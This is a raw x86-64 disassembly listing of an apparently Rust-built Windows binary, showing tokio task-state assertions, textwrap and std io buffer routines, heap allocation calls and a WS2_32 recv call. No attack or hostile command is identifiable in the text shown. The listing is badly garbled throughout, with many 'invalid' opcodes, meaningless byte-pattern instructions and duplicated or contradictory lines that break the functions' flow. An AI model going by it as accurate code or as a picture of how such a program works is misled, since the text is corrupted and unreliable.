push rax
xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x140120c8c
lea rdi, [rsi + 0x20]
mov qword [rsp + 0x50], 4
lea rdx, [rsp + 0x50]
mov rcx, rdi
stc
stc
call fcn.14011ffe0
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x58], 1
jmp fcn.140120bb8
mov qword [rsp + 0x50], 4
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.14011ffe0
mov qword [rsp + 0x58], 0
and al, 0x58
add byte [rax], al
add byte [rax], al
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtime_task_state.rs
lea r8, [0x1401e0850]
mov edx, 0x24
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x1401e0890]
mov edx, 0x23
call fcn.140160fb0
ud2
mov qword [rsp + 0x20], 0
lea rdx, str.internal_error:_entered_unreachable_code:_unexpected_stage
lea rsi, [rsp + 0x50]
lea r9, [rsp + 0x30]
mov r8d, 1
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtime_taskcore.rs_b
mov rcx, rsi
call fcn.140160e20
ud2
or eax, 0xbf987
lea r8, [0x1401e0910]
mov edx, 0x23
call fcn.140160fb0
ud2
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x20], 2
lea rdx, str.current:___sub:___t
lea rsi, [rsp + 0x60]
lea r9, [rsp + 0x40]
mov r8d, 2
mov rcx, rsi
call fcn.140144a40
add al, byte [rax]
add al, byte [rax]
lea rdx, [0x1401e0958]
mov rcx, rsi
call fcn.140160e20
ud2
and byte [rax - 0x7d], cl
jg 0x14012120d
add byte [rsp + rbp + 0x4c], dh
mov eax, dword [rdi]
mov rcx, qword [0x140215360]
or eax, 0xf414e
invalid
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x140121234
add rdi, qword [rsi]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
and eax, 0x46dda
and eax, 0x46dda
int3
cmp r14, 5
je 0x140121568
lea rcx, [rsp + 0xb0]
lea rdx, [rsp + 0x20]
mov r8d, 0x90
call sub.VCRUNTIME140.dll_memcpy
lock dec qword [r15]
jne 0x140121503
mov rcx, qword [rdi]
call fcn.1401144f0
mov qword [rdi], 0
lea rcx, [rsi + 8]
lea rdx, [rsp + 0xb0]
mov r8d, 0x90
add al, ch
mov sil, 3
add bl, ch
invalid
cmp byte [rcx - 0x39], cl
cmp byte [r8 + r8], r8b
add byte [rax], al
cmp r14, 4
je 0x14012154f
lea rdx, [r15 + 0x40]
lea rcx, [rsp + 0x20]
mov r8d, 0x90
call sub.VCRUNTIME140.dll_memcpy
mov dh, 3
invalid
xor ecx, ecx
mov edx, ebx
call fcn.1401483d0
cmp r14, 4
jne 0x1401214d3
mov r14d, 4
mov qword [rsi], r14
add rsp, 0x140
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
mov eax, 7
mov rcx, rsi
mov rax, rdi
add rsp, 0x28
pop rdi
pop rsi
jmp rax
ret
add byte [rcx - 1], cl
int 0x4c
mov dword [rsi + 0x50], ebp
mov rdi, qword [rsi + 0x10]
mov rbp, qword [rsi + 0x20]
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x38], rbp
lea rax, [rsp + 0x30]
mov qword [rsp + 0x70], rax
lea rax, [0x14009a1b0]
mov qword [rsp + 0x78], rax
lea rax, str._____r_n
add eax, 0xb6ee4
add eax, 0xb6ee4
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
mov qword [rsp + 0xa0], 0
lea rax, [rsp + 0x70]
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rdx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x70
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
lea rcx, [rsp + 0xd8]
lea rdx, [rsp + 0x80]
call fcn.140014120
mov r15, qword [rsi + 0x38]
test r15, r15
mov qword [rsp + 0xc8], r14
je 0x140121b7d
mov rcx, qword [rsi + 0x28]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x40], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x30], xmm0
lea rdx, [rcx + 0x18]
lea rax, [r15 + r15*2]
lea r8, [rax*8 - 0x18]
call sub.VCRUNTIME140.dll_memmove
dec r15
mov qword [rsi + 0x38], r15
jmp 0x140121ba5
test r12, r12
mov r8, r12
cmove r8, r14
movzx edx, byte [rsi + 0x58]
lea rax, [rsp + 0x100]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x30]
mov r9, rbx
call fcn.140113320
mov rax, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x40]
sub rax, rdx
cmp rax, 3
jbe 0x140121fae
mov rax, qword [rsp + 0x30]
mov dword [rax + rdx], 0xa0d0a0d
add rdx, 4
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x90], rdx
movaps xmm0, xmmword [rsp + 0x30]
movaps xmmword [rsp + 0x80], xmm0
mov r15, qword [rsp + 0x1e8]
mov r14, qword [rsp + 0x1f0]
cmp qword [rsp + 0x1e0], 0
mov qword [rsp + 0xd0], r12
je 0x140121c1b
mov qword [rsp + 0x68], r15
mov r15, r14
mov r14, qword [rsp + 0x1f8]
jmp 0x140121c22
xor eax, eax
mov qword [rsp + 0x68], rax
mov r12, qword [rsp + 0x200]
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0xc0], rax
movaps xmm0, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0xb0], xmm0
test r13, r13
je 0x140121d6d
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140121c7f
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140121fc8
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x98
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140121fc8
mov rbx, rax
lea rax, str._r_n_nC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_textwrap_0.16.0_srclib.rsc
mov qword [rbx], rax
mov qword [rbx + 8], 2
mov qword [rbx + 0x10], 0
mov rax, qword [rsp + 0x68]
mov qword [rbx + 0x18], rax
mov qword [rbx + 0x20], r15
mov qword [rbx + 0x28], r14
mov qword [rbx + 0x30], r12
mov qword [rbx + 0x38], 0
movups xmm0, xmmword [rsp + 0xd8]
movups xmmword [rbx + 0x40], xmm0
mov rax, qword [rsp + 0xe8]
mov qword [rbx + 0x50], rax
mov qword [rbx + 0x58], 0
movaps xmm0, xmmword [rsp + 0xb0]
movups xmmword [rbx + 0x60], xmm0
mov rax, qword [rsp + 0xc0]
mov qword [rbx + 0x70], rax
mov qword [rbx + 0x78], 0
mov byte [rbx + 0x80], 0
mov eax, dword [rsp + 0x61]
mov ecx, dword [rsp + 0x64]
mov dword [rbx + 0x81], eax
mov dword [rbx + 0x84], ecx
mov byte [rbx + 0x88], 0
mov eax, dword [rsp + 0x5a]
pop rdx
mov ecx, dword [rsp + 0x5d]
mov dword [rbx + 0x8c], ecx
mov dword [rbx + 0x89], eax
mov byte [rbx + 0x90], 0
mov eax, dword [rsp + 0x53]
mov ecx, dword [rsp + 0x56]
mov dword [rbx + 0x94], ecx
mov dword [rbx + 0x91], eax
lea r14, case.0x140109b29.103
add cl, ch
invalid
add dword [rax], eax
invalid
mov qword [rsp + 0x70], rdi
mov qword [rsp + 0x78], rbp
lea rax, [rsp + 0x70]
mov qword [rsp + 0xf0], rax
lea rax, [0x14009a1b0]
mov qword [rsp + 0xf8], rax
lea rax, str._____r_n
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
mov dword [rsp + 0x88], 2
mov dword [rsp + 0x88], 2
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
test byte [rax + rsi*8], ah
add byte [rax], al
add byte [rax - 0x77], cl
test byte [rax + rdx*4], ah
add byte [rax], al
mov qword [rsp + 0xa0], 0
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 1
lea rcx, [rsp + 0x30]
invalid
add byte [rax - 0x39], cl
test byte [rax + rbx*4], ah
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x73], cl
and al, 0x30
invalid
xor byte [rax - 0x73], cl
xchg esp, eax
and al, 0x80
add byte [rax], al
add al, ch
cmp byte [rbx], ah
out dx, eax
dec dword [rdi]
mov dh, 5
or dword [rsi], esi
str word [rax - 0x75]
or eax, 0xf356a
lea rdx, [rsp + 0x80]
call fcn.140014120
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140121e14
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140121fd9
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0xc0
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140121fd9
mov rbx, rax
mov rax, qword [rsp + 0x40]
mov qword [rbx + 0x10], rax
movups xmm0, xmmword [rsp + 0x30]
movups xmmword [rbx], xmm0
mov qword [rbx + 0x18], 0
lea rax, str._r_n_nC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_textwrap_0.16.0_srclib.rsc
mov qword [rbx + 0x20], rax
mov qword [rbx + 0x28], 2
mov qword [rbx + 0x30], 0
mov rax, qword [rsp + 0x68]
mov qword [rbx + 0x38], rax
mov qword [rbx + 0x40], r15
mov qword [rbx + 0x48], r14
mov qword [rbx + 0x50], r12
mov qword [rbx + 0x58], 0
movups xmm0, xmmword [rsp + 0xd8]
movups xmmword [rbx + 0x60], xmm0
mov rax, qword [rsp + 0xe8]
and al, 0xe8
add byte [rax], al
add byte [rax - 0x77], cl
jo 0x140121ee0
mov dword [rbx + 0x78], 0
movaps xmm0, xmmword [rsp + 0xb0]
movups xmmword [rbx + 0x80], xmm0
mov rax, qword [rsp + 0xc0]
mov qword [rbx + 0x90], rax
mov qword [rbx + 0x98], 0
add byte [rax], al
mov byte [rbx + 0xa0], 0
mov eax, dword [rsp + 0x61]
mov ecx, dword [rsp + 0x64]
mov dword [rbx + 0xa4], ecx
mov dword [rbx + 0xa1], eax
movabs eax, dword [0xa883c6000000]
add byte [rax], al
mov eax, dword [rsp + 0x5a]
mov ecx, dword [rsp + 0x5d]
mov dword [rbx + 0xac], ecx
mov dword [rbx + 0xa9], eax
mov byte [rbx + 0xb0], 0
mov eax, dword [rsp + 0x53]
mov ecx, dword [rsp + 0x56]
mov dword [rbx + 0xb4], ecx
mov dword [rbx + 0xb1], eax
mov byte [rbx + 0xb8], 0
cmp dword [rax], 0x4c
lea esi, [0x1401d8f98]
lea rcx, [rsp + 0x100]
call fcn.140112d60
mov r8, qword [rsp + 0xd0]
test byte [rax + rdx*8], ah
add byte [rax], al
add byte [rbp - 0x7b], cl
invalid
mov rax, qword [rsp + 0xc8]
je 0x140121f5d
test rax, rax
je 0x140121f5d
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdi, qword [rsi]
test rdi, rdi
je 0x140121f93
mov r15, qword [rsi + 8]
mov rcx, rdi
call qword [r15]
cmp qword [r15 + 8], 0
invalid
je 0x140121f93
cmp qword [r15 + 0x10], 0x11
jb 0x140121f81
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
add byte [rax - 0x77], cl
invalid
mov qword [rsi], rbx
mov qword [rsi + 8], r14
add rsp, 0x208
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsp + 0x30]
mov r8d, 4
call fcn.14015cc80
mov rdx, qword [rsp + 0x40]
jmp 0x140121bbc
mov ecx, 8
mov edx, 0x98
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0xc0
call fcn.14015d7f0
ud2
jns 0x140122066
add byte [rbx + rdx + 0x4c], dh
mov eax, dword [rsi + 0x60]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rsi + 0x88], 0
je 0x140122034
mov byte [rax], al
add byte [rax], al
add byte [rsi + rdx + 0x4c], dh
mov r8, qword [rsi + 0x80]
mov r8, qword [rsi + 0x80]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsi + 0x38]
test rax, rax
je 0x14012204e
lea rcx, [rsi + 0x50]
lea ecx, [rsi + 0x50]
mov rdx, qword [rsi + 0x40]
push rsi
mov r8, qword [rsi + 0x48]
mov r8, qword [rsi + 0x48]
call qword [rax + reloc.WS2_32.dll_recv]
jmp 0x14012207f
mov rdi, qword [rsi + 0x40]
mov rbx, qword [rsi + 0x48]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
or byte [rax], al
je 0x14012207f
cmp qword [rbx + 0x10], 0x11
adc dword [rdx + 4], esi
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
jb 0x14012206d
mov ecx, dword [0x140215360]
xor edx, edx
mov r8, rdi
mov eax, edi
mov eax, edi
call qword [sym.imp.KERNEL32.dll_HeapFree]
pop rdi
add al, 0
invalid
add byte [rax - 0x7d], cl
jle 0x14012208b
cmp qword [rsi + 8], 0
je 0x1401220a0
add byte [rdx + rbx + 0x4c], dh
mov eax, dword [rsi]
mov r8, qword [rsi]
mov rcx, qword [0x140215360]
or eax, 0xf32d0
sal byte [rdx], 1
invalid
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
nop
add rsp, 0x20
invalid
and byte [rbx + 0x5f], bl
pop rsi
ret
invalid
push rsi
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
mov r14, r9
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
cmp byte [rdx + 0xb8], 0
je 0x1401220fe
mov r15, qword [rdi + 0x10]
mov r12, qword [rdi + 0x18]
cmp r12, r15
mov rdx, r15
cmovb rdx, r12
invalid
sub r15, rdx
add rdx, qword [rdi]
cmp r14, r15
cmovb r15, r14
cmp r15, 1
jne 0x14012212a
invalid
movzx eax, byte [rdx]
mov byte [rbx], al
jmp 0x140122135
lea rdx, [rdi + 0x20]
lea rcx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
lea ecx, [rsp + 0x28]
mov r8, rbx
mov r9, r14
call fcn.140122970
cmp qword [rsp + 0x28], 0
cmp dword [rsp + 0x28], 0
cmp dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x30]
and al, 0x30
je 0x140122156
mov qword [rsi + 8], rax
mov eax, 1
jmp 0x140122142
mov rcx, rbx
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add r12, r15
mov qword [rdi + 0x18], r12
sbb byte [ecx + ecx*4 + 0x7e], cl
or byte [rcx], dh
ror byte [rax - 0x77], 6
mov dword [rsi], eax
mov rax, rsi
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
test r14, r14
je 0x14012216c
invalid
adc dword [rax - 0x7b], ecx
sal byte [rbp + 0xc], 0xc6
or al, 0xc6
xchg dword [rax + 0x1000000], edi
add byte [rax], al
add byte [rcx], al
jmp 0x1401220d2
int3
mov qword [rsp + 0x20], rsi
mov r13, qword [r14]
mov rbp, qword [r14 + 0x10]
mov rsi, qword [r14 + 0x18]
shl rdi, 4
shl edi, 4
xor r12d, r12d
jmp case.0x140103151.142
invalid
movzx eax, byte [rdx]
mov byte [rcx], al
add rsi, r15
mov qword [r14 + 0x18], rsi
sbb byte [rbp + 1], cl
cld
mov eax, dword [rbx]
add rbx, 0x10
add rdi, 0xfffffffffffffff0
cmp r15, rax
jb case.0x14005f6a2.2441
test rdi, rdi
je case.0x14005f6a2.2441
mov rcx, qword [rbx + 8]
cmp rsi, rbp
mov rdx, rbp
cmovb rdx, rsi
cmovb edx, esi
cmovb edx, esi
mov eax, dword [rbx]
mov r15, rbp
sub r15, rdx
add rdx, r13
cmp rax, r15
cmovb r15, rax
clc
cmp r15, 1
je 0x1401221c0
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
pop rdx
test eax, 0xb2eb0003
test eax, 0xb2eb0003
mov rsi, qword [rsp + 0x20]
mov qword [rsi + 8], r12
mov dword [rsi + 8], esp
mov dword [rsi + 8], esp
xor eax, eax
jmp 0x14012224a
lea rcx, [rsp + 0x28]
mov r8, rbx
mov r9, rdi
call fcn.140122f90
cmp qword [rsp + 0x28], 0
mov rax, qword [rsp + 0x30]
je case.0x1400e4b0f.322
xor byte [rax + riz + 0x48], dh
mov dword [rsi + 8], eax
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
mov rax, rsi
mov eax, esi
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test rax, rax
je 0x14012226c
sal byte [rsi + rax + 0x48], 0x89
or bl, r13b
mov al, 0x48
mov ecx, edi
stc
mov qword [rsi + 8], rax
jmp 0x14012221c
mov rcx, rdi
stc
shl rcx, 4
xor edx, edx
nop word cs:[rax + rax]
add byte [rax], al
invalid
cmp rcx, rdx
je 0x140122266
cmp dword [rbx + rdx], 0
adc eax, dword [rax]
lea rdx, [rdx + 0x10]
je 0x140122280
mov byte [r14 + 0xb8], 1
add byte [rax], al
add byte [rcx], al
jmp 0x1401221a5
int3
push rdi
push rbx
sub rsp, 0x48
mov rsi, r8
mov esi, eax
mov rdi, rcx
iretd
mov rbx, qword [r8 + 0x10]
lea rcx, [rsp + 0x20]
call case.0x140111664.53
or dword [rax], 0
add byte [rbx + rcx*4 + 0x76], cl
adc byte [rbp - 0x77], cl
invalid
sub r8, rbx
jb 0x140122340
or dword [rax], 0
add byte [rbx + rcx*4 + 0x76], cl
adc byte [rbp - 0x77], cl
invalid
mov rdx, qword [rsi]
mov edx, dword [rsi]
add rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.14005a400
invalid
xor ebx, 0x7c8348ff
jl case.0x1400e6090.282
xor byte [rax], al
xor al, ch
invalid
jl case.0x1400e6090.282
xor byte [rax], al
je 0x140122310
cmp qword [rsp + 0x20], 0
and byte [rax], al
add byte [rsp + rdx + 0x48], dh
mov eax, dword [rsp + 0x28]
je 0x14012231d
mov rax, qword [rsp + 0x28]
jmp 0x140122324
movups xmm0, xmmword [rsp + 0x20]
movups xmmword [rdi], xmm0
mov rbx, r14
jmp 0x14012232f
jmp 0x14012232f
lea rax, [0x1401db1a0]
mov cs, word [rbx]
add byte [rax - 0x77], cl
or byte [r8 - 0x39], r9b
invalid
mov qword [rdi + 8], rax
mov qword [rdi], 1
invalid
add dword [rax], eax
add byte [rax], al
invalid
mov qword [rsi + 0x10], rbx
mov rax, rdi
adc byte [rax - 0x77], cl
clc
add rsp, 0x48
pop rbx
pop rdi
pop rsi
pop r14
ret
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srciomod.rs
add dword [0xc95a2354], esp
invalid
or eax, dword [rax]
mov rcx, rbx
mov rdx, r14
call fcn.140160e60
ud2
invalid
or ecx, esp
int3
int3
push rdi
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
cmp byte [rbp - 0x7b], cl
ror byte [rdi], 0x84
lock add dword [rax], eax
invalid
cmp byte [rbp - 0x7b], cl
ror byte [rdi], 0x84
lock add dword [rax], eax
add byte [rcx + rcx*4 - 0x39], cl
invalid
mov rdi, r8
invalid
mov rbx, rdx
mov rsi, rcx
invalid
cmp byte [rcx + 0xb8], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rsi + riz*2 + 0x4c], dh
mov ebp, dword [rsi]
je 0x1401223f1
mov r13, qword [rsi]
mov rbp, qword [rsi + 0x10]
adc byte [rbx + rcx*4 + 0x66], cl
sbb byte [rbp + rcx*4 + 0x35], cl
invalid
invalid
invalid
invalid
mov r12, qword [rsi + 0x18]
lea r14, str.failed_to_fill_whole_buffer
and eax, 0x11eb000b
and eax, 0x11eb000b
nop
movzx eax, byte [rdx]
mov dh, 2
add cl, byte [rax - 0x3b00b6fd]
mov byte [rbx], al
inc r12
add rbx, r15
sti
sub rdi, r15
je 0x1401223e5
cmp r12, rbp
in al, dx
mov rdx, rbp
cmovb rdx, r12
mov r15, rbp
mov edi, ebp
mov edi, ebp
sub r15, rdx
add rdx, r13
add edx, ebp
cmp rdi, r15
invalid
dec dword [rdi + rcx + 0x42]
dec dword [rcx - 0x7d]
inc dword [rcx]
cmovb r15, rdi
cmp r15, 1
je 0x1401223a0
ror byte [rax - 0x77], 1
invalid
mov rcx, rbx
mov r8, r15
call sub.VCRUNTIME140.dll_memcpy
add r12, r15
test r15, r15
test edi, edi
jne 0x1401223a8
xor r14d, r14d
mov qword [rsi + 0x18], r12
jmp 0x14012256c
lea r15, [rsi + 0x20]
lea edi, [rsi + 0x20]
lea r12, [rsp + 0x28]
lea rbp, [0x14020acc0]
xor eax, eax
mov qword [rsp + 0x20], r15
jmp 0x140122427
mov eax, esi
shr rax, 0x20
cmp eax, 0x23
and ecx, dword [rdi]
test dword [rdx + 1], edx
add dword [rax], eax
invalid
nop word [rax + rax]
add byte [rdi], cl
movzx eax, byte [rsi + 0xb8]
mov dh, 0x86
mov eax, 0x84000000
sal byte [rbp + rsi + 0x4c], 0x8b
jbe case.0x14011161e.46
test al, al
je 0x140122460
mov r14, qword [rsi + 0x10]
mov r13, qword [rsi + 0x18]
cmp r13, r14
mov rdx, r14
cmovb rdx, r13
sub r14, rdx
add rdx, qword [rsi]
cmp rdi, r14
cmovb r14, rdi
cmp r14, 1
invalid
jne 0x1401224a0
movzx eax, byte [rdx]
mov byte [rbx], al
jmp 0x1401224ab
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x1f], cl
invalid
mov rcx, r12
loope 0x1401224b0
mov rdx, r15
mov edx, edi
mov r8, rbx
mov r9, rdi
stc
stc
call fcn.140122970
cmp qword [rsp + 0x28], 0
add byte [rbx + rcx*4 + 0x74], cl
and al, 0x30
add byte [rbx + rcx*4 + 0x74], cl
and al, 0x30
je 0x1401224d5
mov r13d, r14d
mov ebp, esi
and r13d, 3
movsxd rax, dword [rbp + r13*4]
add rax, rbp
jmp rax
mov rcx, rbx
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add r13, r14
add ebp, esi
mov qword [rsi + 0x18], r13
outsb dx, byte [rsi]
sbb byte [rbp - 0x7b], cl
test r14, r14
invalid
test ch, al
test r14, r14
je 0x140122580
cmp rdi, r14
jb 0x140122589
sub edi, esi
je 0x140122569
add rbx, r14
jmp 0x140122420
test r14, r14
jne case.0x14011ed51.14
mov byte [rsi + 0xb8], 1
jmp 0x14012242b
shr rcx, 0x20
call fcn.14012f020
cmp al, 0x23
jne 0x14012256c
cmp r13d, 1
jne 0x140122420
mov r15, rbp
mov rbp, r12
mov r13, qword [r14 - 1]
mov r12, qword [r14 + 7]
mov rcx, r13
call qword [r12]
call qword [rsp]
call qword [rsp]
cmp qword [r12 + 8], 0
je 0x140122544
invalid
invalid
cmp qword [r12 + 0x10], 0x11
jb 0x140122532
adc dword [rdx + 4], esi
mov r13, qword [r13 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
pop rdx
add al, 0
invalid
pop rdx
add al, 0
dec r14
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
mov eax, esi
invalid
mov eax, esi
invalid
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov r12, rbp
mov rbp, r15
mov r15, qword [rsp + 0x20]
and al, 0x20
iretd
and al, 0x20
jmp 0x140122420
xor r14d, r14d
mov rax, r14
add rsp, 0x38
pop rbx
invalid
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor eax, 0xb2379
or eax, dword [rax]
jmp 0x14012256c
mov edx, edi
call fcn.140160e60
ud2
push rdi
push r14
push r13
push rbp
push rbp
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov rbx, rcx
mov ebx, ecx
retf
mov rsi, qword [rdx + 8]
jb case.0x140107e15.102
retf
jb case.0x140107e15.102
mov rcx, qword [rdx + 0x18]
mov r8, rsi
mov eax, esi
mov eax, esi
sub r8, rcx
sub eax, ecx
jb 0x140122693
mov rdi, rdx
mov r15, qword [rdx]
add rcx, r15
stc
stc
xor edx, edx
shr al, cl
cmpsb byte [rsi], byte [rdi]
movsd dword [rdi], dword [rsi]
add eax, dword [rax]
call sub.VCRUNTIME140.dll_memset
mov qword [rdi + 0x18], rsi
mov r14, qword [rdi + 0x10]
mov r13, rsi
mov ebp, esi
sub r13, r14
jb case.0x1400c929f.361
add r15, r14
cmp byte [rbx + 0xb8], 0
je 0x140122624
invalid
mov r12, qword [rbx + 0x10]
mov rbp, qword [rbx + 0x18]
cmp rbp, r12
in eax, 0x4c
mov edx, esp
cmovb rdx, rbp
sub r12, rdx
invalid
add rdx, qword [rbx]
cmp r13, r12
cmovb r12, r13
in eax, 0x49
cmp esp, 1
invalid
in eax, 0x49
cmp esp, 1
jne 0x140122658
movzx eax, byte [rdx]
mov byte [r15], al
jmp 0x140122663
lea rdx, [rbx + 0x20]
lea rcx, [rsp + 0x28]
and byte [rax - 0x73], cl
and al, 0x28
mov r8, r15
mov r9, r13
mov ecx, ebp
mov ecx, ebp
call fcn.140122970
cmp qword [rsp + 0x28], 0
mov r12, qword [rsp + 0x30]
xor byte [rbp + 0x3a], dh
xor byte [rbp + 0x3a], dh
cmp rsi, r14
je 0x14012266a
test r12, r12
jne 0x14012266a
mov byte [rbx + 0xb8], 1
jmp case.0x140109b29.88
lahf
mov rcx, r15
mov r8, r12
call sub.VCRUNTIME140.dll_memcpy
add rbp, r12
mov qword [rbx + 0x18], rbp
add r12, r14
mov qword [rdi + 0x10], r12
cmp rsi, r12
cmova r12, rsi
mov qword [rdi + 0x18], r12
xor r12d, r12d
xor esp, esp
mov rax, r12
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
ret
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srcio_readbuf.rs
mov rdx, rsi
call fcn.140160e60
add eax, dword [rax]
ud2
lea r8, str._rustc_cc66ad468955717ab92600c770da8c1601a4ff33library_std_srcio_readbuf.rs
mov rcx, r14
mov rdx, rsi
call fcn.140161190
ud2
invalid
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x38
sub esp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp], 0xfffffffffffffffe
mov r14, qword [rdx + 0x10]
add r14b, r15b
invalid
cmp qword [rdx + 8], r14
jne case.0x14011a874.35
xor ebx, ebx
mov rax, rbx
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
pop rbp
ret
mov rsi, rdx
mov rdi, rcx
lea r15, [0x14020acd0]
mov r12, qword [sym.imp.KERNEL32.dll_HeapFree]
mov esp, dword [sym.imp.KERNEL32.dll_HeapFree]
pop rcx
add al, 0
jmp 0x140122734
nop word cs:[rax + rax]
nop dword [rax + rax]
add byte [rax], al
add byte [rcx + rdi + 0x76], cl
cmp qword [rsi + 0x10], r14
je 0x1401227df
add byte [rax], al
add byte [rbx + rcx*4 + 0x76], cl
invalid
cmp qword [rsi + 0x10], r14
je 0x1401227df
add byte [rax], al
invalid
mov r14, qword [rsi + 0x10]
cmp qword [rsi + 8], r14
je 0x1401226e7
mov rcx, rdi
mov rdx, rsi
bnd call fcn.1401225a0
call fcn.1401225a0
test rax, rax
je case.0x1400e4b0f.325
mov rbx, rax
mov r14d, ebx
and r14d, 3
movsxd rax, dword [r15 + r14*4]
add rax, r15
jmp rax
and byte [rbx - 0x5e8bdc08], al
cmp eax, 0x23
je 0x14012272a
jmp case.0x14011a815.40
mov r14, qword [rbx - 1]
mov r13, qword [rbx + 7]
mov rcx, r14
call qword [r13]
call qword [rbp]
call qword [rbp]
cmp qword [r13 + 8], 0
cmp dword [rbp + 8], 0
je 0x1401227c8
cmp qword [r13 + 0x10], 0x11
cmp dword [rbp + 0x10], 0x11
jb 0x1401227b9
add al, 0x4d
mov esi, dword [rsi - 8]
mov r14, qword [r14 - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, r14
invalid
call r12
invalid
dec rbx
mov rcx, qword [0x140215360]
invalid
add byte [rcx], dh
invalid
mov r8, rbx
call r12
jmp 0x14012272a
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
leave
